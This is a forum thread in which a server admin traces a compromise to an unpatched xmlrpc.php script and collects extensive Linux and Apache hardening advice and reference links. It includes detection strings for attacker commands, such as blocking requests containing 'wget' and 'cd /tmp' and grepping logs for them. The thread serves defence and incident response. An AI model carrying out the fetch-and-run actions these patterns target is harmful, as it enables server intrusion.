Ok, I think I know how to track down this type of attack now. What I'm going to do is the following:

• Set all important log files to be kept for 3 months instead of 4 weeks
• Keep a major eye out for entries of this nature in my Apache logs
• Continue to ensure that all non-RPM software is patched speedily
• Regularly keep an eye on /tmp and /var/tmp to check for unusual activity
• Remove any unneeded PHP/Perl apps, and force required ones to be updated regularly by users (otherwise they'll be removed)

If nothing unexpected turns up then I'll assume the box is clean (I don't see what else I can do) - I'm going to move to a different host at some point in the next few months so I'll just have to keep it running until I can transfer clients off the machine.

Also, in terms of hardening the server, I'm thinking of the following:

• Install rootkithunter, chkrootkit and tripwire - cron these daily to receive email reports
• Configure mod_security for Apache, to block requests with string such as 'wget' and 'cd /tmp' etc
• Retrict IP range for SSH access to only my management IP (previously I enjoyed the luxury of SSH'ing in from anywhere)
• Run Apache in a chrooted jail (what else is a good idea to run in a chrooted environment??)

Are there any other suggestions you can make?

Thanks for all your help with this - I think I've learned rather a lot - I was aware of all of this beforehand but now it all seems to have fitted together in place and is much clearer.

Are there any other suggestions you can make?
Yes, but before I do a word of warning if you please. While during the course of this thread the exact date and time, entry vector and result wheren't determined I would like to emphasise once more your box was compromised and you should act on it by at least doing the following: please start by reading CERT: Steps for Recovering from a UNIX or NT System Compromise. While I've done my best to guide you through this I am certain I did not follow all steps. I don't need to tell you it is your responsability towards your fellow internet users to make sure the system is and will remain onehundred percent under your control. Minimally you should aim to have all system and user passwords changed, offending software updated or removed, network facing software re-installed and updated, and the box hardened as a whole.
I would also like to remind you that continuing to use, and installing and running filesystem integrity check applications on a compromised host isn't a sound basis and will lead to a false sense of security.

Enough said. Most of the stuff mentioned you find reading the LQ FAQ: Security references, I'll try and highlight some here. For trying out some I'd recommend have a dev box so your tests won't kill the server. While I don't go into it here you will also want to work on the procedural approach wrt responsabilities like timely upgrades, backups, auditing and post-upgrade testing. Building and implementing a policy will take time but will save you time in the long run.

Basic host configuration and hardening
I find The SANS Top 20 Internet Security Vulnerabilities a good starting point, especially C3: "PHP-based Applications". Check out CERT: UNIX Configuration Guidelines and AusCERT - UNIX Security Checklist v2.0 - The Essentials, while rather old they contain enough basic material to still be relevant. Add your choice of docs like Linux Administrator's Security Guide (LASG) and Securing & Optimizing Linux and the SELinux docs. Check with
Tiger, LSAT (Number9's, not Mixter's), Bastille Linux (--report mode). If you don't want to use SELinux, maybe you could consider the GRSecurity kernel patch which offers considerable hardening (for instance chroot functionality), control (for instance Trusted Path execution (TPE), rule-based access (RBAC) and the ability to deny certain users network access) and auditing features (who executed what when?).


Network, service and application-specific configuration and hardening
Network restrictions are a layered combination of TCP wrappers (/etc/hosts.{deny, allow} and libwrap-compiled apps like OpenSSH and Xinetd), PAM settings for accounts, firewall, service-specific settings (Apache's deny from all/allow from, SMTP Blacklists) and finally a NIDS. See LQ FAQ: Security references post #2 and 3.
Basically three things to consider. Network stack hardening (sysctl), iptables: default DROP policies so you only open up what you explicitly allow, in/egress filtering and logging. There's also a few good threads in this forum about building good rulesets. Deploying a NIDS, preferably Snort. Add a third-party add-on like Guardian if you want to have active blocking capabilities.
You're right to only allow SSH access from your management IP ranges. I always add a Xinetd entry for SSH on a high port and restrict access to that. Next to that I mount /usr read-only or chattr +iu the whole tree where ro mounts aren't possible, use partitions for user-writable temps and minimally mount them noexec,nosuid where possible.

Check services with Tiger, Env_audit, Nessus, Nmap (and Metasploit if you're feeling lucky :-] ).


Some application-specific stuff. Next to the developers docs about and threads here about Apache/MySQL security, chrooting ( LQ FAQ: Security references post #4) here's an extension of post #6, which was due like six months ago:
Apache
Web Security Appliance With Apache and mod_security (SF): http://www.securityfocus.com/infocus/1739
Securing Apache Step-by-Step: http://www.securityfocus.com/infocus/1694
Securing apache2: http://www.securityfocus.com/infocus/1786
Apache mod_security guide: http://www.securityfocus.com/infocus/1739
Apache mod_ssl: http://www.securityfocus.com/infocus/1356

Apache modules
mod_dosevasive: http://www.nuclearelephant.com/projects/dosevasive/
mod_security: http://www.modsecurity.org
mod_security rulesets: http://www.gotroot.com/mod_security+rules
mod_security rule generator: http://leavesrustle.com/tools/modsecurity/

MySQL
Securing MySQL Step-byStep: http://www.securityfocus.com/infocus/1726
Secure MySQL Database Design: http://www.securityfocus.com/infocus/1667
SQL injection attack mitigation: SafeSQL: http://www.phpinsider.com/php/code/SafeSQL/, http://www.webmasterbase.com/article/794
Detect SQL injection attacks: class_sql_inject: http://www.phpclasses.org/browse/package/1341.html

PHP
Top 7 PHP Security Blunders: http://www.sitepoint.com/print/php-security-blunders
PHP Security Guide: http://phpsec.org/projects/guide/ (PHP Security Library: http://phpsec.org/library/)
PHPsec.org Security Guide considered harmful: http://www.hardened-php.net/php_secu...armful.51.html
PHP: Preventing register_global problems: http://www.modsecurity.org/documenta...r-globals.html
Securing PHP Step-by-Step: http://www.securityfocus.com/infocus/1706
PHP Security: http://www.onlamp.com/pub/a/php/2003...undations.html
Security of PHP: http://www.developer.com/lang/article.php/918141 (PHP Foundations: http://www.onlamp.com/pub/ct/29)
Auditing PHP, Part 1: Understanding register_globals: http://www-128.ibm.com/developerworks/library/os-php1/
Hardened PHP: http://www.hardened-php.net
SuPHP: http://www.suphp.org/Home.html
(http://www.phpsecure.info seems outdated)

Checking PHP
phpcksec: http://tools.desire.ch/phpcksec/
CastleCops Analyzer (Nuke only?): http://nukecops.com/
We definately need more checking apps for the AMP part of LAMP.


Logging and auditing
When configuring your system you should make sure the system logs, all application logs and security add-ons provide enough logging for you to get clues from (and you're right your retention time was way too low). There are tools (iptstate, apachetop, ACID, SPADE, FWLogwatch) providing you with a dashboard to check, but they should be used in combination with more central parsers like Logwatch or Swatch.

Next to regularly running tools like Tiger, Rootkit Hunter and Chkrootkit you will want to deply a filesystem integrity check application like Aide, Samhain or even tripwire because the scope of "rpm -Va" is limited. Make sure any checksum databases are mirrored off-site as a precaution wrt tampering.

Make sure root account email is read periodically by an unprivileged user (or else at least pre_load Libsafe and "noexec pine").

I also want to mention Monit. While Monit is a tool primarily for making sure/keeping services alive, it has many more features like checking ownership, MD5sums, disk space, etc etc and the capability to perform actions when a condition changes varying from sending email and restarting services to executing shell scripts. If you run it from init and make it's config immutable it can't be killed easily. Some tools mentioned are passive (for instance Tiger, Chkrootkit, Rootkit Hunter, Aide), meaning you won't get a warning until *you* cronjob some action, and some are active (for instance Snort, Samhain, Monit). You should decide what mix you need.


./close
I hope I didn't scare you away :-]
While I consider many of the above mandatory your decision on what to implement will remain a battle for either more security or more usability, and since security is an ongoing process it is a battle that needs to be prepared for and fought everyday.


Anyway, have fun!

Cheers.

Thanks for all that info in your last post - it's amazingly detailed. The next few months are going to be very busy for me it seems.

I just wanted to let you know that I've located the vulnerability that was used to compromise my server.

A client was running xmlrpc.php (I think as part of a Wordpress distribution) and they hadn't replaced it with a patched version. This script has a lot of known vulnerabilities I think.

I totally missed this at first, but it turns out that it was called via POST and not GET, so all my greps for "wget%20" and "cd%20/tmp" etc weren't finding it. I eventually located it by searching for the time of intrusion that I spotted in my error log, and finding all other records in all log files that had the same timestamp. Turns out every single instrusive record was matched by an entry in the access log (of a different vhost) to xmlrpc.php.

So obviously I've pulled the offending script (and the entire vhost for the time being, as it's likely the client has more unpatched applications running too). I've extracted the entries in the log files and obtained this list of intrusions:

So now I presume that I have to sweep the system for changes that occurred at each of these times, as well as read up about the capabilities of exploits of xmlrpc.php.

The next few months are going to be very busy for me it seems.
Just read, chunk it up, build a plan and work your way through. If you do it right the most of your time will be spent reading and testing stuff on the dev box.


I just wanted to let you know that I've located the vulnerability that was used to compromise my server. A client was running xmlrpc.php
Well done.


I totally missed this at first, but it turns out that it was called via POST and not GET
Well done again. My fault for not pointing out other methods. I did however point you to checking applications+versions by which table you could have located vulnerabilities on the 'net as well.


So now I presume that I have to sweep the system for changes that occurred at each of these times,
Yes, you should, but if files changed again at a later stage you won't find it by searching for the exact intrusion time.


as well as read up about the capabilities of exploits of xmlrpc.php.
Here's a CVE entry CVE-2005-1698 (Postnuke) and queries from SecFocus and Secunia. Searching for "xmlrpc" at SANS will also turn up some nice handler stories.

My understanding of the compromise started with the exploit sent through the php command sent to the server.

My related question is:
If I run a reverse proxy server, do I magically prevent this kind of attack? I'm thinking the answer is "it depends" but I'm very interested in getting a few opinions on the topic.

benr77 implement mod-security asap. I had a similar attack recently and Unspawn kindly pointed me in the right direction as well. You probably have a mod-security package for for your distro. Go to www.modsecurity.org and get their rule sets and implement them. I have the xmlrpc.php knocking on my server several times a day but think it originates from the Lupper worm.

My related question is: If I run a reverse proxy server, do I magically prevent this kind of attack?
AFAIK reverse proxying doesn't mean more than basic request scrubbing.

If you see vhost redirection as a form of filtering, commonly host or dir parts of a request are used. It's not common to filter on parameters: that would look like a blacklist approach trying to cover all possibilities (which is impossible). If you could use a whitelist approach then you end up being very restrictive. While whitelisting will break things easier it's also easier to make exceptions with.

If you want to be thorough you should inspect requests and replies and payload in both directions. For that on one side of the spectrum are "simple" (you know what I mean) request and payload scrubbers like mod_security, mod_rewrite, iptables (for instance owner, string match, ROPE) support. On the other side of the spectrum you have anything from IDSes, IPSes to complete application level proxies/firewall solutions.

If you're interested in exploring the topic I suggest making a new thread for it.

Since you have posted that you've found the hole I don't know if this is relevant but I thought I'd mention it anyway. This line you had in your access log is an example of abuse on a security hole that was discovered in the Mambo/Joomla CMS systems late november last year. My server was attacked on dec 6th (which is the reason for my very much increased interest in security) so if any of your vhosts were running Mambo 4.5.2.3 or Joomla! 1.0.4 or older versions this date of dec 15th could very well fit with that exploit.

PS. thanks unSpawn for your work on this list of references.

br. Eggert